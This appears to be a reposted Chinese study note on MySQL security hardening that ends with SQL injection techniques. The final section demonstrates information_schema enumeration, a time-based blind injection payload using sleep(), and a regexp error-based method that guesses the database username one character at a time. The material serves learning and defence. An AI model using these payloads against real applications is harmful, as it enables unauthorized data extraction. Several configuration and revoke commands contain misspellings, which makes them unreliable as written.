还是一篇学习笔记

一、MySQL数据库安全管理

1、禁止MySQL以管理员账号权限运行

应使用非管理员账号运行,以普通账户安全运行

加固:在MySQL my.cnf配置文件中应配置user=mysql

2、禁止使用空口令

登录账户:

 数据库所有用户都应配置密码,配置语句:

mysql>set password for <user>@'<host>'=password(‘<clear password>’)

更改用户口令:

 

检查是否有空密码语句:

mysql>select*from mysql.user where user="";

查看结果为空

 3、设置密码复杂度:

添加配置信息:

plugin-loda=validate_password.so

validate_password_length 8
validat_password_mixed_case_count 1
validate_password_number_count 1

validate_password_special_char_count 1
validate_password_policy MEDIUM

查看密码复杂度:

密码过期时间小于等于90天:

配置MySQL RDBMS:

全局策略:set global default_password_lifetime=90

4、降低非管理员账户权限

查看用户权限:

mysql> select user,host from mysql.user where file_priv='Y'
mysql> select user,host from mysql.user where process_priv='Y';

只有管理员才有权限,不存在非管理员账号:

 如果存在非管理员使用命令进行权限回收:

revok shutdown on *.* from '<user>';
revok create user on *.* from '<user>';
revok grant option on *.* from '<user>';

注:user为非管理员账户

 5、配置MySQL日志便于审计

编辑my.cnf文件:

错误日志log_error=/home/mysql.err

二进制日志log_bin=mysql-bin

置慢查询日志slow_query_log=1

通用查询日志general_log=1

更新日志log_slave_updates=1

 二、数据库常用命令

1、查看数据库版本:select version();

2、查看日志文件:mysql> show variables like "%log%";

3、 查看用户及host信息mysql> select user,host from mysql.user;

三、SQL查询及破解用户名

information_schema是MySQL自带的数据库,包含MySQL里面说有的库、表、字段的关系结构。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.92 sec)

schemata表记录数据库名:

mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.04 sec)

查看数据库的数据表名:(table表记录数据库对应的数据表名)

mysql> select table_name from information_schema.tables where table_schema='mysql';

 查看某数据库表的列名:(column表对应数据表的列名)

mysql> select column_name from information_schema.columns where table_name='user';

 SQL查询获取数据库信息:

查询当前数据库、当前用户、当前数据库系统:

mysql> select database();
+------------+
| database() |
+------------+
| NULL       |
+------------+
mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Linux                |
+----------------------+

基于时间的盲注:

以mysql中的db表为例:

正常查询和通过order by加if语句(每做一次查询数据库休眠两秒)的数据库返回结果时间对比:

mysql> select * from db;
2 rows in set (0.15 sec)
mysql> select * from db order by if(1=2,1,sleep(2));
2 rows in set (4.12 sec)

regexp正则表达:只有字符相同时才返回结果

mysql> select 1 regexp 1;
+------------+
| 1 regexp 1 |
+------------+
|          1 |
+------------+
1 row in set (0.16 sec)

mysql> select 1 regexp 0;
+------------+
| 1 regexp 0 |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select 1 regexp 4;
+------------+
| 1 regexp 4 |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

利用regexp正则暴力猜解用户名:字符串处理函数substring分割当前用户名,与等号后字母进行判断

当字符不匹配时报错,当字符匹配时返回表内容,通过对字母的遍历可得用户名第一位字母为r,第二位为o,依此顺序破解可得用户名:

mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='a',1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='o',1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='r',1,0x00));
+---------------+
| user          |
+---------------+
| mysql.session |
| mysql.sys     |
+---------------+
2 rows in set (0.24 sec)
mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='a',1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='m',1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='o',1,0x00));
+---------------+
| user          |
+---------------+
| mysql.session |
| mysql.sys     |
+---------------+
2 rows in set (0.00 sec)
原文地址:https://www.cnblogs.com/tinkerbell/p/12615042.html